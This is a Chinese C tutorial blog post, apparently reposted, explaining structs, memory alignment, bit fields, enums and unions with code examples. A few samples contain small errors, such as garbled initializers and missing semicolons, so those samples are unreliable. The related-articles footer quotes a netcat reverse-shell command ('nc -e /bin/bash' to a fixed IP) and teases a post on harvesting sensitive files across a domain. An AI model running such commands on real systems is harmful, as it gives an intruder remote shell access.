【C/自定义类型详解】——结构体(struct)、位段、枚举(enum)、联合(union)

news2025/2/24 13:38:31

在这里插入图片描述

关于C语言的知识放在专栏:C
小菜坤日常上传gitee代码:https://gitee.com/qi-dunyan
❤❤❤
个人简介:双一流非科班的一名小白,期待与各位大佬一起努力!

主要目录

  • 1、结构体(struct)
      • 1.0 结构体类型的声明
      • 1.1 结构的自引用
      • 1.2 结构体变量的定义和初始化
      • 1.3 结构体内存对齐
      • 1.4 结构体传参
      • 1.5 结构体实现位段
  • 2、枚举(enum)
  • 3、 联合(union)

1、结构体(struct)

1.0 结构体类型的声明

我们通常会用一个变量来定义一个事物,就比如我们要进行求和,我们通常会创建一个sum的变量来存放求和的结果,最终再打印sum,此时的sum就表示我们最终的求和结果。

但是,在生活中,有很多事物很难用一两句话来表示,就比如说一个学生,一个学生通常会由姓名、年龄、学号、班级…等很多信息来组成。

在C语言中也是如此,对于一个复杂对象,C语言提供了结构体,就拿上面的学生例子来说,对于这么一个复杂对象的描述,C语言是这样实现的。

#include<stdio.h>
struct stu
{
	char name[20];//姓名
	int age;//年龄
	char id[12];//学号
	char class[20];//班级
};//切记这里的分号必须保留

在这里,姓名、年龄、学号、班级,这些属于结构体成员变量,结构体成员变量的类型可以不同

1.0.1结构体的特殊声明
对于上面的例子,我们在声明结构体的时候,可以去掉stu,就变成:

#include<stdio.h>
struct 
{
	char name[20];//姓名
	int age;//年龄
	char id[12];//学号
	char class[20];//班级
};

这就是结构体的不完全声明,大家可以理解为匿名类的声明。

对于结构体不完全声明,假如有以下这种情况:


#include<stdio.h>
struct
{
	int a;
	char b;
	float c;
}x;//在声明结构体时,我们可以顺便创建结构体变量,这里的x就是一个结构体变量,类型为struct 
   //同时,在声明结构体时创建的变量是属于全局变量,因为它不在大括号内!
struct
{
	int a;
	char b;
	float c;
}a[20], * p;
//这里的p表示是一个结构体指针变量,可以用来存放结构体变量的地址

int main()
{
	//假如把x的地址存放到p中,会发生什么?
	p = &x;
	return 0;
}

此时,如果运行的话,编译器会报错,如下图:
在这里插入图片描述
这就意味着编译器会把上面的两个声明当成完全不同的两个类型(两者本应都是结构体类型的变量,但不完全声明会使编译器以为两者的类型不同)。所以才会出现报错这种情况。

1.1 结构的自引用

大家看如下代码,假如我想在结构中包含一个类型为该结构本身的成员,以下这个代码是否可行?

struct Node
{
 int data;
 struct Node next;
};

答案是否定的,为什么呢?因为假如可行的话,这个结构体就会无限包含,如下:
在这里插入图片描述

会无限循环下去,这样的话,假如我们要计算它的大小,那么它的大小也是一个趋近于无限大的数,因为会一直包含,那假如一定要实现结构体包含一个结构体类型为该结构体呢?正确写法应该如下:

struct Node
{
 int data;
 struct Node* next;
};

我们只需要把它写成结构体指针struct Node*的形式,这就意味着该指针指向的对象类型也是struct Node,就实现了在一个结构体中,包含一个类型为该结构本身的成员。同样,该成员作为一个指针存放在结构体中,它的大小为4(8)个字节。就不会出现上面这种“无限套娃”的现象。

1.2 结构体变量的定义和初始化

结构体变量的定义有两种方法,一种是在声明结构体的同时,定义结构体变量,另一种就是直接定义结构体变量,如下:

struct Point
{
 int x;
 int y;
}p1; //声明类型的同时定义变量p1,p1的类型为struct Point
struct Point p2; //定义结构体变量p2,P2的类型为struct Point

在定义结构体变量的时候,我们也可以进行初始化

struct Point
{
 int x;
 int y;
}p1={12};//p1结构体成员中的x=1,y=2 
struct Point p2={34}; //p2结构体成员中的x=3,y=4 

另外,结构体变量是可以实现嵌套初始化的,如下所示:

struct Point
{
 int x;
 int y;
};
struct Node
{
 int data;
 struct Point p;
 struct Node* next; 
}n1 = {10, {4,5}, NULL};
struct Node n2 = {20, {5, 6}, NULL};

在这里插入图片描述
n2也是同理。4

1.3 结构体内存对齐

我们知道,每个类型的变量都有它的大小(单位:字节),就比如,sizeof(int) ==4、sizeof(short) 的大小为2…

那么对于一个结构体来说,它的大小是多少呢?它的大小跟它的结构体成员变量之间有什么关系呢? 这里就涉及到了**结构体内存对齐**。话不多说,直接上代码演示:

#include<stdio.h>
struct S1
{
	char a;
	char b;
	int c;
};

struct S2
{
	char a;
	int c;
	char b;
};

int main()
{
	printf("%d \n", sizeof(struct S1));
	printf("%d \n", sizeof(struct S2));
	return 0;
}

在这里,我们可能会猜测,s1的大小与s2的大小相同,都是6byte,所以打印出来的是6 6,实际结果到底如何呢?
在这里插入图片描述

我们看到,这两种结果都和我们预想的不同,究竟为何呢?在这里,我们先来了解以下偏移量的概念,以及偏移量的计算,如下:
在这里插入图片描述
我们再来介绍一下offsetof,专门用来计算偏移量的一个宏。头文件需要包含<stddef.h>

在这里插入图片描述
我们通过偏移量来分析一下:
在这里插入图片描述
在这里插入图片描述
以上只是我们对结构体内存对齐的猜测验证,结构体内存对齐是遵循以下规则的:

1. 第一个成员在与结构体变量偏移量为0的地址处。

2. 其他成员变量要对齐到某个数字(对齐数)的整数倍的地址处。
对齐数 = 编译器默认的一个对齐数 与 该成员大小的较小值。
VS:默认的值为8
linux:不设默认对齐数,即结构体成员的大小就是它本身的对齐数

3. 结构体总大小为最大对齐数(每个成员变量都有一个对齐数)的整数倍。

4. 如果嵌套了结构体的情况,嵌套的结构体对齐到自己的最大对齐数的整数倍处,结构体的整
体大小就是所有最大对齐数(含嵌套结构体的对齐数)的整数倍。

具体到底是什么意思呢?第一条我们很好理解,就是第一个成员从偏移量为0的位置开始, 那么后面的具体是什么意思呢?还是来看上面的例子:

struct S1
{
            //单位:字节
	char a;//a是第一个结构体成员,所以a从偏移量为0的位置开始,大小一个字节
	char b;//b的大小为1,vs默认值8,1<8,所以它的默认对齐数为1,从偏移量为1的整数倍开始
	int c;//大小4,4<8,所以对齐数为4,所以从偏移量为4的整数倍开始	
	//总大小为1+1+4=6byte,三个成员中最大对齐数为4,所以结构体的大小应为4的整数倍

};
struct S2
{
	char a;
	int c;
	char b;
};
//原理同上

画个图来对比一下两者之间的差别:

在这里插入图片描述
为什么要存在结构体内存对齐呢?主要有以下两个好处:

  1. 平台原因(移植原因):
    不是所有的硬件平台都能访问任意地址上的任意数据的;某些硬件平台只能在某些地址处取某些特定类型的数据,否则抛出硬件异常。

  2. 性能原因:
    数据结构(尤其是栈)应该尽可能地在自然边界上对齐。
    原因在于,为了访问未对齐的内存,处理器需要作两次内存访问;而对齐的内存访问仅需要一次访问。
    总之结构体内存对齐是拿空间来换取时间。

练习题

下面代码运行的结果为:

#pragma pack(4)/*编译选项,表示4字节对齐 平台:VS2013。语言:C语言*/
//#pragma pack()可以用来修改默认对齐数
int main(int argc, char* argv[])
{
  struct tagTest1
  {
    short a;//2   
    char d; //1
    long b; //4  
    long c; //4  
    //最大对齐数:4
  };
  struct tagTest2
  {
    long b;   //4
    short c;//2
    char d;//2
    long a;//4   
   //最大对齐数:4
  };
  struct tagTest3
  {
    short c;//2
    long b;//4
    char d;  //1 
    long a;  //4 
  //最大对齐数:4
  };
  struct tagTest1 stT1;
  struct tagTest2 stT2;
  struct tagTest3 stT3;

  printf("%d %d %d", sizeof(stT1), sizeof(stT2), sizeof(stT3));
 // 三个结构体都向最长的4字节long看齐。第一个a+d+b才超过4字节,所以a和d一起对齐一个4字节,剩下两人独自占用,共12字节
 //第二个同理c,d合起来对齐一个四字节,也是12字节。
 //第三个因为c+b,d+a都超过4字节了,所以各自对齐一个4字节,共16字节。
 //所以打印12 12 16
  return 0;
}
#pragma pack()

在这里插入图片描述
在设计结构体的时候,我们既要满足对齐,又要节省空间,所以我们应尽量让同一类型的成员集中在一起。

1.4 结构体传参

在调用函数时,结构体传参也是与我们常用到的变量传参一样,有两种方式,一种为传值调用,另一种为传址调用,如下:

struct S
{
 int data[1000];
 int num;
};
struct S s = {{1,2,3,4}, 1000};
//结构体传参
void print1(struct S s)
{
 printf("%d\n", s.num);
 //结构体变量名称.结构体成员
}
//结构体地址传参
void print2(struct S* ps)
{
 printf("%d\n", ps->num);
 //结构体变量地址->结构体成员
}
int main()
{
 print1(s);  //传结构体
 print2(&s); //传地址
 return 0;
}

两者相比显然是传地址更加好一点,简单来说,在这里传值调用的时候,形参也要用一个该结构体大小的结构体变量来接收,但是传址调用,只需要用一个4/8字节的结构体指针变量来接收,两者差别显而易见。

因此,在调用函数,结构体传参时,尽可能传址调用

1.5 结构体实现位段

位段是什么?
位段,C语言允许在一个结构体中以位为单位来指定其成员所占内存长度,这种以位为单位的成员称为“位段”或称“位域”( bit field) 。利用位段能够用较少的位数存储数据。

位段的声明和结构是类似的,有两个不同:
1.位段的成员必须是 int、unsigned int 或signed int 。
2.位段的成员名后边有一个冒号和一个数字。

举个例子:

struct A
{
 int _a:2;//这里的2表示a占用两个bit位
 int _b:5;//5bit
 int _c:10;//10bit
 int _d:30;//30bit
};

在这里,A就是一个位段类型,那么sizeof(struct A)的大小是多少呢?诸君莫急,且往下看:

要计算它的大小,首先我们要了解位段的内存分配是如何实现的。

  1. 位段的成员可以是 int unsigned int signed int 或者是 char (属于整形家族)类型
  2. 位段的空间上是按照需要以4个字节( int )或者1个字节( char )的方式来开辟的。
  3. 位段涉及很多不确定因素,位段是不跨平台的,注重可移植的程序应该避免使用位段。
    而C99标准里并没有进行对于位段的内存分布的明确规定!
    所以这里我们在VS平台下不妨对它进行大胆假设。如下:
struct S
{
 char a:3;
 char b:4;
 char c:5;
 char d:4;
};
struct S s = {0};
s.a = 10;
s.b = 12;
s.c = 3;
s.d = 4;

在这里插入图片描述

在这里插入图片描述
我们通过调试可以发现,在vs环境下确实是从低地址向高地址存储,当字节空间并不足以放下下一个变量时,会再次开辟字节空间继续从低地址向高地址处存储。

那么再回过头来看前面的那个题就简单了,首先开辟一个int类型的空间大小,即4byte,a、b、c一共占用17bit,剩下的15bit不够存放d,所以再次开辟一个int类型的空间,即4byte,所以一共8byte!

但并不保证别的平台也是如此,因为C99标准里并没有关于它的规定!

在一些情况下,跟结构相比,位段可以达到同样的效果,但是可以很好的节省空间,但是有跨平台的问题存在。所谓的跨平台问题主要是以下几点:

  1. int 位段被当成有符号数还是无符号数是不确定的。
  2. 位段中最大位的数目不能确定。(16位机器最大16,32位机器最大32,写成27,在16位机
    器会出问题。
  3. 位段中的成员在内存中从左向右分配,还是从右向左分配标准尚未定义。
  4. 当一个结构包含两个位段,第二个位段成员比较大,无法容纳于第一个位段剩余的位时,是
    舍弃剩余的位还是利用,这是不确定的

2、枚举(enum)

枚举就是列举,即把可能的取值一一列举。就比如一周可以有周一、周二…一直到周日,
再比如颜色可以有红橙黄绿蓝靛紫…就是把所有的可能列举出来

在C语言中是这样来定义的:

enum Day//星期
{
 Mon,
 Tues,
 Wed,
 Thur,
 Fri,
 Sat,
 Sun
};
enum Sex//性别
{
 MALE,
 FEMALE,
 SECRET
}enum Color//颜色
{
 RED,
 GREEN,
 BLUE
};

{}中的内容是枚举类型的可能取值,也叫枚举常量。
既然是枚举常量,那么就会有对应的值,这些值默认从0开始,一次递增1,在定义的时候也可以赋初值。如下:

#include<stdio.h>
enum Color
{
	RED,
	YELLO,
	GREEN=10,//(注意这里是逗号)
	BLUE//注意这里没有逗号
};

int main()
{
	printf("%d %d %d %d", RED,YELLO, GREEN, BLUE);//0 1 10 11
	printf("%d",sizeof(enum Color));//4,因为enum只是列举出所有可能,但是!它只有一个才是真正需要的(并不是所有的可能都需要),所以这里打印出来的是一个整形的大小,4
	return 0;
}

枚举 vs #define
枚举的优点:

  1. 增加代码的可读性和可维护性

  2. 和#define定义的标识符比较,枚举有类型检查,更加严谨。
    #define 定义的只是一个标识符,也就是说,假如#define RED 10,在这里,RED是代表10的一个标识符,并没有具体类型。

  3. 防止了命名污染(封装)

  4. 便于调试

  5. 使用方便,一次可以定义多个常量

3、 联合(union)

联合又叫联合体、共用体,它也是一种特殊的自定义类型
这种类型定义的变量也包含一系列的成员,特征是这些成员公用同一块空间,如下:

#include<stdio.h>
union Un
{
	int i;
	char c;
};
int main()
{
	union Un un;
	printf("%d", sizeof(un));//4
	return 0;
}

在这里,i和c共用一块空间,如下:
在这里插入图片描述
特点就是同生共死,即在使用i的同时,也会影响c的使用,举个例子:

#include<stdio.h>
union Un
{
	int i;
	char c;
};
int main()
{
	union Un un;
	//un.i = 10;
	un.i=256//100000000,un的第一个字节存储的是00000000,所以打印0
	printf("%d", un.c);//10  0
	return 0;
}

这里我们定义i的值为10,但是为什么打印的明明是c,结果也是10呢?
很简单,因为它们共用一块内存。
在这里插入图片描述
但是!假如i的值超过了255,即超过一个字节所对应的1111 1111(255),此时再打印c的值,就与i不同了。

联合体的使用

百度笔试题:

判断当前计算机的大小端存储

这道题在之前的文章中写过了一种方法,就是先定义一个变量,初始化为1,然后强制类型转换为char*,然后解引用,就会访问第一个字节,如果是1,就说明是小端,反之大端存储。

这里我们还可以用联合体的巧妙性来解:

union un
{
	int i;
	char m;
};
int main()
{
	union un q;
	q.i = 1;
	if (q.m == 1)
	{
		printf("小端");
	}
	else
		printf("大端");
	return 0;
}

原理如下:
在这里插入图片描述
联合体大小的计算

联合大小的计算应遵循以下原则:
1、联合的大小至少是最大成员的大小。
2、当最大成员大小不是最大对齐数的整数倍的时候,就要对齐到最大对齐数的整数倍。
举个简单的例子:

union Un1
{
 char c[5];//5 对齐数:1
 int i;//4对齐数:4,最大成员大小为5,不是最大对齐数4的整数倍,所以要对齐到8,所以该联合体大小为8
};
union Un2
{
 short c[7];//14 对齐数:1
 int i;//4  对齐数:4,最大成员大小为14,不是最大对齐数4的整数倍,所以对齐到16,该联合体大小为16byte
};

printf("%d\n", sizeof(union Un1));//8
printf("%d\n", sizeof(union Un2));//16

end
愿不负韶华,加油!❤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2687.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

请问Graph Kernel Fusion(图算融合)在mindspore1.7.0下会生成融合后的mindIR的.dot文件吗

图算融合&#xff0c;GPU (NVIDIA-RTX3080) 验证 【操作步骤&问题现象】 1、参考&#xff08;基于mindspore0.5.0&#xff09;链接1&#xff1a; course: MindSpore实验&#xff0c;仅用于教学或培训目的。配合MindSpore官网使用。MindSpore experiments, for teaching or…

mac 安装部署mongoDB社区版

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装 我一开始是根据网上走的下载安装包进行的&#xff0c;但总是出现各种问题&#xff0c;最后果断选择跟随官网教程走了 先决条件 如已安装&#xff0c;请跳过 1. 安装 Xcode 命令行工具 Homebrew 需要来自 A…

【Mybatis源码】源码分析

【Mybatis源码】源码分析&#xff08;1&#xff09;Mybatis的基本执行流程&#xff08;1&#xff09;在resources目录下建立一个mybatis-config.xml配置文件&#xff08;2&#xff09;准备UserMapper.xml文件&#xff08;3&#xff09;使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具&#xff0c;当然就要全自动&#xff0c;懒人必备。net group "domain computers" /do &#xff0c;获取机器是3个一排&#xff0c;然后可以通过正则删除空格&#xff0c;每次也麻烦&#xff0c;直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境&#xff1a;QT5.14.2OpenCV4.5 提前准备&#xff1a;准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库&#xff0c;本地路径D:\opencv\qt_build64)&#xff0c;准备一张测试图片&#xff08;如&#xff1a;d:\test.jpg&#xff09;。 项目结构&#xff1a…

如果再来一次,你还会选择互联网么?

现在互联网的就业环境&#xff0c;大家都在感受着一股寒意。也不知道从什么时候开始&#xff0c;身边悲观的声音越来越多了。 如果再给你一次机会&#xff0c;你还会选择互联网吗&#xff1f; 回答这个问题之前&#xff0c;我想跟大家聊聊一个我朋友的故事。 他从学渣到大厂程…

64位下使用回调函数实现监控

前言 在32位的系统下&#xff0c;我们想要实现某些监控十分简单&#xff0c;只需要找到对应的API实现挂钩操作即可检测进程。但在64位系统下随着Patch Guard的引入&#xff0c;导致我们如果继续使用挂钩API的方式进行监控会出现不可控的情况发生。微软也考虑到了用户程序的开发…

Linux shell脚本之笔记及实用笔记

一、前言 二、shell脚本之数据类型 2.1、数组遍历 1)数组定义 如果说变量是存储单个变量的内存空间,那么数组就是多个变量的集合,它存储多个元素在一片连续的内存空间中。在bash中,只支持一维数组,不支持多维数组。Linux Shell 数组用括号来表示,Bash Shell 只支持一维…

15. “接口隔离模式”之 Proxy模式

1. 动机 在面向对象系统中&#xff0c;有些对象由于某些原因&#xff08;比如对象创建的开销很大&#xff0c;或者某些操作需要安全控制&#xff0c;或者需要进程外的访问等&#xff09;&#xff0c;直接访问会给使用者、或者系统结构带来很多麻烦。如何在不失去透明操作对象的…

Java中值得注意的『运算符、逻辑控制、输入输出』

目录前言一、运算符&#x1f351;1、取模运算符%&#x1f351;2、增量运算符&#x1f351;3、逻辑运算符&#x1f351;4、位运算符二、逻辑控制语句&#x1f351;1、switch语句三、Java输入和输出&#x1f351;1、输出到控制台&#x1f351;2、从键盘输入四、猜数字游戏——Jav…

软件过程与项目管理复习(1)

文章目录Week1Project Introduction定义特点Project management项目管理的价值项目管理的5要素Project manager项目经理的技能要求project manager 的核心任务&#xff08;key activities)规划 planning组织 organizing领导 leading掌控 controllingAgile Scrum master 的核心任…

结构体超详解(小白一看就懂,多维度分析!!!!)

目录 一、前言 二、结构体详解 &#x1f350;什么是结构体 &#x1f34e;结构体的定义与基础结构 &#x1f351;结构体的使用 &#x1f4a6;结构体的初始化 &#x1f4a6;结构体的成员访问 &#x1f4a6;结构体数组 &#x1f4a6;结构体指针--------------指向结构体变…

PNAS:人类头皮记录电位的时间尺度

导读 人类的许多行为都是由在不同时间尺度上发生的共同过程所支配的。标准的事件相关电位分析假设有关实验事件的响应持续时间是固定的。然而&#xff0c;最近对动物的单个单元记录显示&#xff0c;在需要灵活计时的行为中&#xff0c;神经活动尺度跨越了不同的持续时间。本研…

vue3——使用axios

1、Axios 是什么? 浏览器页面在向服务器请求数据时&#xff0c;因为返回的是整个页面的数据&#xff0c;页面都会强制刷新一下&#xff0c;这对于用户来讲并不是很友好。并且我们只是需要修改页面的部分数据&#xff0c;但是从服务器端发送的却是整个页面的数据&#xff0c;十…

Keras深度学习实战(33)——基于LSTM的序列预测模型

Keras深度学习实战&#xff08;33&#xff09;——基于LSTM的序列预测模型0. 前言1. 序列学习任务1.1 命名实体提取1.2 文本摘要1.3 机器翻译2. 从输出网络返回输出序列2.1 传统模型体系结构2.2 返回每个时间戳的网络中间状态序列2.3 使用双向 LSTM 网络小结系列链接0. 前言 在…

Qt易忘样式表总结

目录前言1、Qt设置样式的几种方式2、几种复合控件的样式设置QTableWidgetQCalendarWidgetQTreeWidgetQSpinBoxQComboBox前言 在使用Qt框架开发软件时&#xff0c;为了美观和更好的用户体验&#xff0c;需要为各种控件设置样式。一些通用且简单的样式如背景色、边框、字体字号等…

js实现图片懒加载

js实现图片懒加载 1、介绍getBoundingClientRect()函数 该函数没有参数&#xff0c;用于获取元素位置&#xff0c;返回一个对象&#xff0c;具有六个属性分别是&#xff1a; ele.getBoundingClientRect().top – 返回元素上边到视窗上边的距离 ele.getBoundingClientRect().l…

【经典面试题-LeetCode134:加油站问题(Java实现)】

加油站问题一、题目描述1.题目内容2.样例二、解决方案1.分析2.核心代码一、题目描述 1.题目内容 在一条环路上有 n 个加油站&#xff0c;其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车&#xff0c;从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i…

自动控制原理 - 2 控制系统的数学模型 节2.4-2.6

------------------------------------------------------------------------------ 2 控制系统的数学模型2.4 控制系统的传递函数2.5 典型环节的传递函数2.6 结构图的绘制 2 控制系统的数学模型 2.4 控制系统的传递函数 为何引入传递函数&#xff1f; 微分方程模型的优缺…